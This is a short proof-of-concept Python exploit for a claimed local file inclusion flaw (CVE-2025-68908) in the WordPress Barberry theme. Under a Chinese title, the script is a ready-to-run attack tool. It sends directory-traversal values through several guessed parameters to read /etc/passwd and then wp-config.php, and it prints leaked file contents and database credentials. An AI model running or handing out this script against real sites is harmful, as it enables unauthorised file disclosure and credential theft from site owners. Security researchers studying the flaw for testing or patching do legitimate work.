CVE-2025-68908 WordPress Barberry主题本地文件包含漏洞

# CVE-2025-68908 PoC - Barberry Theme LFI # Usage: python poc.py target_url import sys import requests from urllib.parse import urljoin def exploit_lfi(target_url): """Exploit Local File Inclusion in Barberry theme""" # Common vulnerable parameter patterns params_to_try = [ {'file': '../../../../../../etc/passwd'}, {'template': '../../../../../../etc/passwd'}, {'page': '../../../../../../etc/passwd'}, {'theme': '../../../../../../etc/passwd'}, {'load': '../../../../../../etc/passwd'} ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-68908\n") for param in params_to_try: try: response = requests.get(target_url, params=param, timeout=10) # Check if /etc/passwd content is returned if 'root:' in response.text and 'bin/bash' in response.text: print(f"[+] VULNERABLE! Parameter: {list(param.keys())[0]}") print(f"[+] File content leaked:") print(response.text[:500]) return True except requests.RequestException as e: print(f"[-] Error: {e}") # Try to read wp-config.php print("\n[*] Trying to read wp-config.php...") wp_config_params = [ {'file': '../../../../../../var/www/html/wp-config.php'}, {'file': '../../../../../../html/wp-config.php'}, {'file': '../../../../../../public_html/wp-config.php'} ] for param in wp_config_params: try: response = requests.get(target_url, params=param, timeout=10) if 'DB_NAME' in response.text and 'DB_USER' in response.text: print(f"[+] Database credentials leaked!") print(response.text[:800]) return True except: pass print("[-] No obvious LFI detected") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-68908.py <target_url>") sys.exit(1) exploit_lfi(sys.argv[1])